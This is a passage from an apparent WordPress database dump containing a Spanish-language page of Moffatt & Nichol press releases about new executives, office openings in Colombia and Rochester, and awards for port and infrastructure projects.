estructural exclusivo para el rediseño del muelle y la adecuación sísmica, y como ingeniero estructural para la estructura apoyada en pilotes, la cual recibió la certificación de Oro por Liderazgo en Energía y Diseño Ambiental. El proyecto ha recibido seis galardones desde 2011, incluyendo el Premio de Mérito a la Excelencia en Ingeniería otorgado por ACEC, Capítulo California. \r\n\r\n“Desde una perspectiva de ingeniería, Port Pavilion en Broadway Pier fue un proyecto técnicamente difícil y de alta visibilidad. El puerto confiaba en las capacidades especializadas y el apoyo de Moffatt & Nichol, desde el inicio del diseño hasta la finalización de la construcción. La singular capacidad de ingeniería estructural para edificaciones de frente de mar de la firma fue fundamental para el éxito del proyecto”, expresó Mark McIntire, Gerente de Proyecto del Puerto de San Diego.\r\n\r\nA través de los 5 años de evolución del proyecto, el equipo de diseño enfrentó retos que incluyeron ajustar el cronograma del proyecto con permisos ambientales, construcción pesada para un muelle en ambiente intermareal. La reutilización adaptativa y estratégica de las estructuras existentes produjo resultados con beneficios a largo plazo, en términos de  costos, cronograma y diseño. \r\n\r\n“La demolición de los muelles existentes y la construcción de una estructura de reemplazo hubiese sido muy cotosa y hubiese tomado mucho tiempo. Además, el proceso de demolición hubiese creado una gran cantidad de desechos de construcción”, comentó Matthew Martínez, Gerente de Proyecto de Moffatt & Nichol. “Como una alternativa al reemplazo de la estructura que data de 1913, se utilizó un proceso adaptativo de re-utilización para modernizar la estructura histórica con el fin de ser reutilizada en este proyecto”. Se hicieron pruebas bajo el nivel del agua de los pilotes que datan de 1930, se encofraron los pilotes de 1913 y se implementó un sistema de aislamiento con base sísmica. Adicionalmente la incorporación de una capa estructural permite a la plataforma del muelle soportar los requerimientos del tráfico moderno. \r\n\r\nEl nuevo Port Pavilion en Broadway Pier representa un exitoso balance entre beneficios económicos y un enfoque de diseño ambientalmente consciente que realza la dinámica y diversa zona costera del centro de la ciudad. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"14\">James Beaver se integra a Moffatt & Nichol como director de Servicios Comerciales para Marinas</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/James-Beaver.jpg\"><img title=\"James Beaver\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/James-Beaver.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\nLONDRES, REINO UNIDO, septiembre 23, 2013 – James Beaver se une a la oficina de Moffatt & Nichol Londres como Director de Servicios Comerciales para Marinas, bajo la práctica de Desarrollo Costero Urbano  y Marinas. El señor Beaver, anteriormente Director de Operaciones de Camper & Nicholson Marinas, tiene más de 24 años de experiencia con operaciones de marinas, nuevos desarrollos, redesarrollos, financiación y debida diligencia. También tiene extensa experiencia en el desarrollo y arrendamiento de inmuebles relacionados con marinas. \r\n\r\n“James trae a Moffatt & Nichol una increíble reputación y habilidades, al igual que amplia experiencia en la planificación y evaluación del mercado para orientar sobre el perfil potencial de demanda para cualquier marina, a través de la consultoría operativa y la puesta en marcha de la instalación”, comentó Robert Nathan, PE, Vicepresidente Senior de Moffatt & Nichol y líder de la práctica de Desarrollo Costero Urbano y Marinas. “Estamos muy contentos que esta experiencia esté disponible para ofrecer apoyo los intereses de nuestros clientes en el rápido crecimiento del mercado de puertos deportivos y estructuras de frente de mar, desarrollando marinas de alto nivel e inmuebles relacionados”.\r\n\r\nEn anteriores funciones, el señor Beaver fue miembro líder de un equipo senior responsable del desarrollo de una marina de 600 puestos de atraque y  operaciones de almacenamiento en seco en Portland, Dorset, Reino Unido, el cual fue el lugar sede para eventos de navegación para las Olimpiadas y para los Juegos Paralímpicos Londres 2012. Desarrolló un papel administrativo en el re-desarrollo y construcción de East Cowes Marina en Isle of Wight, Reino Unido. Recientemente, James dirigió el equipo administrativo senior en colaboración con Yas Marina, sede del Grand Prix Formula 1TM de Abu Dhabi. \r\n\r\nSobre su transición a Moffatt & Nichol, el señor Beaver afirma que, “estoy complacido de unirme a una firma con tan sobresaliente reputación. Es una gran oportunidad poder participar en los emprendimientos futuros de Moffatt & Nichol y continuar desarrollando marinas de primera clase alrededor del mundo”. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"13\">Proyecto Tampa Gateway Rail Terminal recibe altos honores en la Bahía de Tampa</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Tampa-Gateway.jpg\"><img title=\"Tampa Gateway\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Tampa-Gateway.jpg\" alt=\"\" width=\"400\" height=\"266\" /></a>\r\nPremiación Anual al Futuro de la Región del Concejo Regional de Planeación\r\n\r\nTAMPA, FLORIDA, julio 18, 2013 – Tampa Gateway Rail Terminal, un proyecto de US$11 millones de colaboración conjunta del Puerto de Tampa, fue galardonado con el Premio Jr. de Distinción Charles McIntosh, durante la Vigésima Primera Premiación Anual al Futuro de la Región, del Concejo Regional de Planeación de la Bahía de Tampa.\r\n\r\nEl Premio Jr. de Distinción Charles A. McIntosh fue presentado al proyecto por su demostración de una fuerte visión regional y excelencia en las categorías de servicio comunitario, ambiental y de infraestructura. Un panel independiente evaluó proyectos basados en los beneficios a la calidad de vida regional, beneficios al medio ambiente, innovación, rentabilidad y capacidad de continuar el impacto y beneficio regional.  El proyecto generó conectividad intermodal sin precedentes al Puerto de Tampa, el cual sirve como motor económico crucial, generando aproximadamente 100,000 empleos y US$8 millones en impacto económico anual. La instalación no sólo permite cuantiosos oportunidades de comercio que no estaban disponibles antes, sino también contribuye al incremento del etanol, disminuyendo las emisiones de CO2 y reduciendo la dependencia en fuentes externas de energía. \r\n\r\n“Estamos muy complacidos que nuestro compromiso con desarrollar el Puerto de Tampa en un hub intermodal de clase mundial y esta importante asociación estratégica han sido reconocidas a tan alto y prestigioso nivel,” dijo Paul Anderson, CEO y Director del Puerto de Tampa.  \r\n\r\nEl Gateway Rail es la más reciente fase de un plan maestro de mejoras a una instalación de 188 acres para contenedores que Moffatt & Nichol está liderando. Moffatt & Nichol ofrece servicios profesionales de ingeniería y consultoría que incluyen la planeación, diseño, documentos de construcción, administración de proyecto y apoyo a la construcción. El proyecto se completó dentro del cronograma y el presupuesto. \r\n\r\n“Moffatt & Nichol se siente orgulloso de ser parte de este proyecto integral en la Bahía de Tampa”, comentó Michael Bruce, PE, Gerente de Proyecto de Moffatt & Nichol. Este reconocimiento por parte del Concejo Regional de la Bahía de Tampa es un testimonio de la visión y el compromiso con la excelencia del Puerto de Tampa. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"1\">Shaun McFarlane se une a la empresa para dirigir las operaciones en Alaska</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/shaunmcfarlane.jpg\"><img title=\"Shaun McFarlane\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/shaunmcfarlane.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de julio, 2012— Moffatt & Nichol se complace en dar la bienvenida al ingeniero Shaun McFarlane, quien se integra a Moffatt & Nichol con 23 años de variada experiencia en ingeniería de frentes costeros obtenida en muchos proyectos en Alaska y a lo largo de la costa oeste de los Estados Unidos.\r\n\r\nLa experiencia del ingeniero McFarlane incluye proyectos marítimos y costeros nacionales e internacionales para industrias privadas y públicas y para agencias gubernamentales federales, estatales y municipales. Sus antecedentes como gerente de proyecto y como ingeniero jefe/principal de frentes costeros se relacionan con una gama de servicios, desde la selección del sitio hasta el planeamiento conceptual y la gestión de autorizaciones, y desde el diseño final hasta la gestión de la construcción. Sus antecedentes y su experiencia se ajustan perfectamente a su función como Director de la Unidad de Negocios de la oficina de Moffatt & Nichol en Anchorage. Él se desempeñará como el representante de la empresa en Alaska y trabajará con importantes líderes del sector y clientes para brindar la renombrada cartera de servicios de la compañía a algunos de los climas marinos más desafiantes y ambientes más sensibles en el mundo.\r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"2\">Catherine Fritter se une a Moffatt & Nichol para dirigir la oficina de Vancouver</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/DSC02051-1.jpg\"><img title=\"Catherine Fritter\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/DSC02051-1.jpg\" alt=\"\" width=\"214\" height=\"240\" /></a>\r\n\r\nLONG BEACH, CA, 30 de julio, 2012— Moffatt & Nichol se complace en dar la bienvenida a la ingeniera Catherine Fritter, como la Directora de la Unidad de Negocios de la empresa en la oficina de Vancouver, Columbia Británica. Antes de unirse a Moffatt & Nichol, la ingeniera Fritter trabajó con Ausenco Sandwell, donde se desempeñó como gerente del Departamento de Automatización y Electricidad.\r\n\r\nLa ingeniera Fritter tiene una gran experiencia en la gerencia de departamentos y proyectos, planeamiento comercial y estratégico y administración de cuentas de clientes. Su experiencia en liderazgo y sus talentos técnicos serán un valioso aporte para el equipo de la empresa en Vancouver, donde dirigirá un grupo de ingenieros profesionales, gerentes de proyectos y expertos en frentes costeros.\r\n\r\nLa ingeniera Fritter fue nombrada recientemente al Consejo de directores de ACEC y presta servicios como directora designada para el capítulo de Columbia Británica de la organización. Ella es ingeniera profesional en Canadá y recibió su diploma de pregrado en ingeniería eléctrica en la Universidad de Columbia Británica.\r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"3\">Richard Steinke dirigirá la práctica portuaria de Moffatt & Nichol</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Steinke-Final-010.jpg\"><img title=\"Steinke Final 010\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Steinke-Final-010-214x300.jpg\" alt=\"\" width=\"214\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de mayo, 2012— Moffatt & Nichol anunció hoy que Richard D. Steinke, anterior Director Ejecutivo del Puerto de Long Beach, se ha unido a la empresa como Jefe de Práctica Portuaria. En esta función, sus antecedentes y su experiencia fortalecerán la presencia y reputación de la empresa como el líder mundial en el planeamiento y diseño de terminales marítimos.\r\n\r\n“Dick aporta una increíble y diversa experiencia y conocimiento del sector, junto con el desarrollo, la gestión y la implementación de iniciativas estratégicas que afectan la operación de las instalaciones marinas. Nos complace sobremanera contar con tal experiencia para apoyar el crecimiento estratégico de Moffatt & Nichol y para proporcionar valor a nuestros clientes”, dijo el Presidente de la compañía, Eric Nichol.\r\n\r\nDespués de 22 años de trabajo en el Puerto de Long Beach, Steinke se retiró de su cargo de 14 años como Director Ejecutivo en 2011, dejando un legado de innovación. Mientras estuvo a su cargo, el Puerto de Long Beach aseguró su posición competitiva entre los primeros puertos del mundo, se destacó como líder en seguridad portuaria después del atentado del 11 de septiembre, y fue pionero en la política de puerto ecológico de 2005 y su premiado programa \"Camiones Verdes\". Experto en desarrollar sociedades de colaboración, Steinke guió al puerto en la obtención de la aprobación para lanzar el trascendental proyecto de redesarrollo del Middle Harbor del puerto ($1000 millones), y el proyecto de reemplazo del puente Gerald Desmond ($950 millones).\r\n\r\n“Es emocionante unirse a una empresa con una reputación tan extraordinaria. Esta es una gran oportunidad de participar en los futuros cometidos de Moffatt & Nichol, a medida que la compañía se proyecta sobre su largo historial de éxitos y expande su posición global,” señaló Dick Steinke.\r\nLíder en la industria portuaria, Steinke ha representado la U.S. West Coast Collaboration, una sociedad de los puertos de la costa oeste y los principales ferrocarriles del oeste, y se ha desempeñado como Presidente de la Asociación Americana de Autoridades Portuarias, una alianza de más de 150 autoridades portuarias de los Estados Unidos, Canadá, el Caribe y América Latina.\r\n\r\nAntes de unirse al Puerto de Long Beach, Steinke trabajó cinco años como funcionario responsable de los activos aeroportuarios en el Aeropuerto internacional de Stapleton en su nativo Denver, Colorado. Se graduó en el Chadron State College de Nebraska y realizó estudios de postgrado en la Universidad de Colorado.\r\n\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"4\">Mark Faeth se une a la oficina de Nueva York de Moffatt & Nichol como Vicepresidente</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Mark-Faeth.jpg\"><img class=\"alignnone size-medium wp-image-2465\" title=\"Mark Faeth\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Mark-Faeth-200x300.jpg\" alt=\"\" width=\"200\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de marzo, 2012— Moffatt & Nichol le da la bienvenida al ingeniero Mark Faeth, como Vicepresidente. Radicado en las instalaciones de la empresa en Nueva York, él se une a Moffatt & Nichol con 33 años de variada experiencia en ingeniería marítima y gerencia de proyectos. En su nueva función, el ingeniero Faeth ampliará la presencia marítima de la empresa en apoyo de las prácticas de puertos, energía y frentes de mar urbanos en toda la compañía.\r\n\r\nAnteriormente se desempeñó como Vicepresidente Principal de Halcrow Inc., en donde sus responsabilidades incluían la supervisión y dirección de proyectos importantes en su unidad de negocios marítimos, y también trabajó como Director de Operaciones y Director Comercial para sus operaciones en los EE. UU. Antes de su adquisición por Halcrow en 2005, él fue Socio Principal de la empresa Han-Padron Associates.\r\n\r\nEl ingeniero Faeth ha dado soporte a clientes importantes, entre ellos la Marina de EE. UU., Abu Dhabi Ports Company y ExxonMobil. Tiene un diploma de postgrado en ingeniería estructural del Instituto Politécnico de la Universidad de Nueva York, y entre sus áreas específicas de experiencia profesional figuran el análisis estructural y el diseño de instalaciones marítimas en áreas cercanas a la costa y costa afuera, tecnología de amarre y defensas, y gerencia de proyectos.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"5\">Jim Mccluskie se une a Moffatt & Nichol como Director de la oficina de Long Beach</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Jim-McCluskie.jpg\"><img class=\"alignnone size-medium wp-image-2466\" title=\"Jim McCluskie\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Jim-McCluskie-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de marzo, 2012—Moffatt & Nichol se complace en dar la bienvenida a Jim McCluskie como nuevo Director de la Unidad de Negocios de la oficina de Long Beach, California. El ingeniero McCluskie aporta cerca de 30 años de experiencia ejecutiva en el desarrollo de grandes proyectos de infraestructura, con una concentración en los sectores privado y público al tiempo que mantiene gran atención en el desarrollo de negocios y de clientes.\r\n\r\nAntes de unirse a Moffatt & Nichol, el ingeniero McCluskie se desempeñó como Vicepresidente para Engineering & Environmental Consultants, Inc. donde era responsable del desarrollo del plan anual de negocios, de establecer y mantener una presencia en la comunidad y de identificar oportunidades de desarrollo de negocios, además de negociaciones efectivas de contratos, gestión de riesgos y ventas operativas.\r\n\r\nBajo su liderazgo con PBS&J, el ingeniero McCluskie se desempeñó como Vicepresidente Principal y estuvo a cargo de 800 empleados en más de 60 oficinas en Estados Unidos. Su principal experiencia de proyectos incluye el diseño y la gestión del programa para el parque temático de Abu Dhabi en una isla de cerca de 1020 hectáreas con 24 atracciones, así como la evaluación medioambiental y el diseño para el proyecto de transmisión de 3000 megavatios para el parque eólico de Anschutz en Wyoming, por $3 mil millones. Con amplia experiencia en el desarrollo de negocios, la gerencia de operaciones y la ejecución de proyectos, el ingeniero McCluskie aporta su enfoque práctico de liderazgo y su pensamiento estratégico a la empresa y a su equipo.\r\n\r\nEl ingeniero McCluskie es graduado de Lake Superior State, Michigan donde recibió su diploma de pregrado en ingeniería civil.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"6\">Gary Antonucci se une a Moffatt & Nichol como Ingeniero principal de puentes</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/GAntonucci-headshot-retouched.jpg\"><img class=\"alignnone size-medium wp-image-2467\" title=\"GAntonucci headshot-retouched\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/GAntonucci-headshot-retouched-231x300.jpg\" alt=\"\" width=\"231\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de diciembre, 2011—Moffatt & Nichol se complace en darle la bienvenida a Gary Antonucci como ingeniero principal de puentes para la oficina de Walnut Creek de la empresa. El ingeniero Antonucci aporta a Moffatt & Nichol sus más de 30 años de experiencia en ingeniería, incluyendo más de 15 años con TY Lin International en el planeamiento y diseño de instalaciones de transporte que abarcan carreteras urbanas e interestatales y sistemas ferroviarios.\r\n\r\nSu experiencia incluye el diseño de puentes y estructuras de transporte, trenes de pasajeros de servicio pesado y ligero, senderos para peatones/bicicletas, sistemas de abastecimiento de agua e instalaciones de control de inundaciones. Durante los últimos 15 años, ha estado enfocado específicamente en la gerencia de proyectos de tareas complejas que requerían grandes equipos multidisciplinarios. Su trabajo ha incluido más de 200 proyectos de puentes individuales. Con una gran experiencia en el diseño de puentes para Caltrans (Departamento de Transporte de California), ha completado muchos proyectos de autopistas estatales que necesitaban la revisión y aprobación de Caltrans.\r\n\r\nLa experiencia del ingeniero Antonucci también incluye proyectos del Programa de Puentes Carreteros (HBP, por sus siglas en inglés) federal y ha realizado la gerencia de proyecto para varias obras mayores con este programa, con costos individuales de proyectos superiores a $20 millones. Ha trabajado como Gerente de Proyectos o Ingeniero Estructural principal para más de 20 pasos a desnivel de carreteras/vías férreas. Su experiencia en estos proyectos ha incluido trabajar como enlace con el personal del ferrocarril, así como preparar acuerdos con la Comisión de Servicios Públicos (PUC, por sus siglas en inglés) y ferroviarios. El señor Antonucci es ingeniero profesional y recibió su diploma de pregrado en ingeniería civil de la Universidad Politécnica del Estado de California, Pomona.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"7\">Carlos Noguera se une a la empresa como Gerente General para la oficina de Colombia</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Noguera-Carlos-2.jpg\"><img class=\"alignnone size-medium wp-image-2468\" title=\"Noguera, Carlos 2\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Noguera-Carlos-2-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de diciembre, 2011—Moffatt & Nichol da la bienvenida a la empresa a Carlos Noguera como Gerente General de la oficina de Colombia S.A.S. El ingeniero Noguera aporta más de 30 años de experiencia y un profundo conocimiento de la industria de la ingeniería de Colombia, específicamente en las áreas de consultoría medioambiental, evaluación de la calidad del agua, diseño de canales de navegación, dragado y estudios de factibilidad económica y técnica en Colombia y a nivel mundial.\r\n\r\nEl ingeniero Noguera se une a Moffatt & Nichol después de trabajar más de 30 años con HMV Ingenieros, una compañía colombiana, donde tuvo un papel importante como Representante legal e Ingeniero Director General desde 2002, supervisando proyectos en los sectores privado y público. La experiencia de trabajo anterior del ingeniero Noguera con Moffatt & Nichol incluyó el diseño del acceso al canal de navegación al Puerto de Buenaventura, Colombia, donde fue un factor clave en los logros de la empresa en Colombia.\r\n\r\nSu experiencia profesional también incluye la evaluación de los impactos medioambientales en proyectos de desarrollo. Habiendo trabajado como consultor medioambiental, sus conocimientos especializados incluyen estudios de la calidad del aire y el impacto medioambiental de desarrollos industriales, el desarrollo y control durante la ejecución de estudios sobre la evaluación de riesgos naturales, el diseño de canales de navegación, sistemas de atraque y dragas.\r\n\r\nEl ingeniero Noguera tiene un diploma de ingeniería civil de la Universidad La Gran Colombia y una especialización en Evaluación del impacto medioambiental de la Universidad Jorge Tadeo Lozano – Tuffs University, en Bogotá, Colombia.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"8\">Helga Junold encabezará Grupo comercial global con sede en Nueva York</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Helga-Junold.jpg\"><img class=\"alignnone size-medium wp-image-2469\" title=\"Helga Junold\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Helga-Junold-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de noviembre, 2011 — Moffatt & Nichol se complace en dar la bienvenida a Helga Junold, ingeniera civil, como directora de la unidad de negocios para la unidad de servicios comerciales y consultivos con base en Nueva York. La ingeniera Junold se une a Moffatt & Nichol después de trabajar más de 20 años con Halcrow, donde puso en marcha la presencia estadounidense de la empresa. Dirigió e incrementó una importante y exitosa especialidad consultiva de transacciones estratégicas en las áreas de puertos, carga, logística y asociaciones público-privadas, reuniendo competencias en ingeniería civil, financiamiento del desarrollo de infraestructura y administración general.\r\n\r\nLa ingeniera Junold ha trabajado como Gerente de proyectos en el Reino Unido, Estados Unidos y América Latina. Trabajó con prestamistas y garantes, incluyendo el banco Export-Import de Estados Unidos y el Departamento de garantía de créditos a la exportación del Reino Unido, y dirigió importantes iniciativas de desarrollo y financiamiento de infraestructura en el Reino Unido, Argentina y Venezuela.\r\n\r\nTambién ha dado apoyo a importantes clientes, entre los que podemos incluir la Autoridad portuaria de Nueva York y Nueva Jersey, el Departamento de Transporte de Texas, la Corporación de Desarrollo Económico de Nueva York, el Departamento del Tesoro de Nueva Jersey, y varios desarrolladores de infraestructura del sector privado. Junold es una ingeniera colegiada en el Reino Unido y obtuvo su diploma de maestría de Hidráulica en ingeniería civil en la Universidad de Salford, Reino Unido.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"9\">Moffatt & Nichol inaugura una oficina en Eastern Great Lakes</h3>\r\nLONG BEACH, CA, 8 de agosto, 2011— Moffatt & Nichol se complace en anunciar la expansión de nuestra empresa con la incorporación de la oficina de Eastern Great Lakes, ubicada en Rochester, Nueva York. Dirigida por John Schirmer, Gerente principal de proyectos, la oficina de Eastern Great Lakes se concentrará en proporcionar soluciones innovadoras a puertos, frentes de mar urbanos, puertos deportivos, transporte y movimiento de mercancías, así como a las industrias marítimas relacionadas. Durante los tres últimos años, Moffatt & Nichol ha apoyado el área con varios proyectos relacionados con el planeamiento, diseño e ingeniería del frente costero. Ubicada en la parte oeste de Nueva York, con un práctico acceso a Canadá y a la región de los Grandes Lagos, la nueva oficina servirá como un centro crítico para cubrir las necesidades de nuestros clientes de todo el mundo.\r\n\r\nMoffatt & Nichol\r\n250 Mill Street, Suite 307\r\nRochester, NY 14614\r\nP: 585-641-7128\r\nE: <a href=\"mailto:jschirmer@moffattnichol.com\">jschirmer@moffattnichol.com</a>\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"10\">Richard Rocktoff se une como Gerente Principal de proyectos de transporte</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Rocktoff_photo.jpg\"><img class=\"alignnone size-medium wp-image-2470\" title=\"Rocktoff_photo\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Rocktoff_photo-239x300.jpg\" alt=\"\" width=\"239\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 25 de julio, 2010—Richard Rocktoff se une al equipo de transporte de Moffatt & Nichol como Gerente Principal de proyectos de transporte. Con más de 20 años de experiencia en proyectos de transporte, el ingeniero Rocktoff aporta su experiencia profesional y su singulares capacidades en complejas geometrías de diseño horizontal y vertical, diseño de intercambios e intersecciones, servicios post-diseño y proyectos de entrega alternativa a la empresa.\r\n\r\nAntes de unirse a Moffatt & Nichol, el ingeniero Rocktoff fue responsable de varios de los mayores proyectos de entrega alternativa del Departamento de Transporte de Florida (FDOT, por sus siglas en inglés) en varios distritos del FDOT. Anteriormente trabajó como Subgerente de diseño en la asociación público-privada para la reconstrucción de la carretera interestatal I-595 del distrito cuatro del FDOT. Coordinó los esfuerzos de los diferentes equipos de diseño para terminar un diseño de dieciocho meses que incluyó diez intercambios sobre 19 km de autopista interestatal. El proyecto P3 de $1200 millones también introdujo tres carriles expresos reversibles y con peaje dentro del derecho de paso existente.\r\n\r\nComo ingeniero de proyecto del diseño y construcción de la carretera US 1 y del puente Jewfish Creek, el ingeniero Rocktoff supervisó el diseño de la reconstrucción de 11,2 km de la carretera US 1, incluido el reemplazo del puente de báscula existente desde Key Largo hasta Florida continental por un puente de alto nivel de 2,4 km y la adición de dos nuevos intercambios. También fue el ingeniero colegiado responsable para el proyecto del diseño y la construcción de la carretera interestatal I-4 y manejó el diseño de la calzada en la reconstrucción del intercambio US 27 y del ensanchamiento y revestimiento de 14,4 km de la carretera I-4 a través del Green Swamp.\r\n\r\nEl ingeniero Rocktoff tiene certificación FDOT en Mantenimiento avanzado de diseño de tráfico y tiene gran experiencia en las aplicaciones de software Geopak y MicroStation. Tiene un diploma de MBA de la Universidad del Sur de Florida y un diploma de pregrado de ingeniería civil de la Universidad de Florida.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"11\">Moffatt & Nichol se expande en América Latina con nueva oficina en Colombia</h3>\r\nLONG BEACH, CA, 18 de julio, 2011—Moffatt & Nichol continúa su expansión en América Latina con la creación de una oficina en Bogotá, Colombia. Aunque Moffatt & Nichol ha estado activo durante un largo tiempo en Colombia, el inicio de Moffatt & Nichol Colombia S.A.S. marca el sincero compromiso de la empresa con una presencia a largo plazo en el país para apoyar la continuada modernización de la infraestructura marítima y de transporte de Colombia.\r\n\r\nMoffatt &amp; Nichol\r\nAv. Cra. 9, No. 113-52, Of. 1201\r\nTorre Unidas 2\r\n\r\nBogotá D.C., Colombia\r\nP: +57 313 373 5350\r\nE: <a href=\"mailto:dames@moffattnichol.com\">dames@moffattnichol.com</a>\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"12\">Proyecto de GPA de Moffatt & Nichol gana premio de ingeniería de Georgia</h3>\r\nSAVANNAH, GA, 1 de abril, 2011— Georgia Engineering Alliance confirió a Moffatt & Nichol un Premio de honor en Excelencia de ingeniería por el proyecto del corredor Cross Terminal Road & Bridge. Como parte de un contrato en marcha, Moffatt & Nichol se encargó del planeamiento, diseño y apoyo de construcción para el nuevo corredor “Cross Terminal Road” de 3,2 km a un costo de $6,6 millones, que proporciona un acceso directo desde el extremo norte de la terminal al extremo sur.\r\n\r\n“Creo que este proyecto puede ser el que tenga el mayor impacto en la productividad y seguridad de cualquier proyecto de infraestructura en la terminal de Garden City desde su conversión a una terminal de contenedores”, comentó el ingeniero Wilson Tillotson, Director principal de ingeniería y mantenimiento de instalaciones de la Autoridad Portuaria de Georgia.\r\n\r\nEl Plan para la Terminal de Garden City, FOCUS 2015, de la Autoridad Portuaria de Georgia, incluyó la calzada de un nuevo corredor con cinco carriles de ancho, dos carriles en cada dirección y un carril de giro. El proyecto incluyó la instalación de casi 3,2 km de calzada de concreto asfáltico a través de la terminal, lo que mejoró la circulación en las congestionadas intersecciones, además de haber sido construido sin interrumpir las operaciones de la terminal.\r\n\r\nMoffatt & Nichol prestó soporte a tiempo completo durante varias etapas de la construcción: demolición, reubicación de equipos de servicios públicos, nivelación, construcción del puente, pavimentación, pintado de franjas indicadoras, señalización y control de tráfico, a fin de minimizar el impacto en las operaciones de la terminal. La construcción de Cross Terminal Road fue terminada sin prácticamente causar impacto negativo alguno sobre las operaciones de la terminal, por debajo del presupuesto y dos semanas antes de lo programado.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n</div>\r\n</div>','Comunicados de Prensa','','inherit','open','open','','1399-revision-19','','','2013-12-23 18:04:11','2013-12-23 18:04:11','',1399,'http://moffattnichol.com/spanish/1399-revision-19/',0,'revision','',0),(2812,1,'2014-02-17 19:22:39','2014-02-17 19:22:39','','C. Eric Burke_MN','','inherit','open','open','','c-eric-burke_mn','','','2014-02-17 19:22:39','2014-02-17 19:22:39','',0,'http://moffattnichol.com/spanish/wp-content/uploads/2014/02/C.-Eric-Burke_MN.jpg',0,'attachment','image/jpeg',0),(2813,1,'2014-02-17 19:22:53','2014-02-17 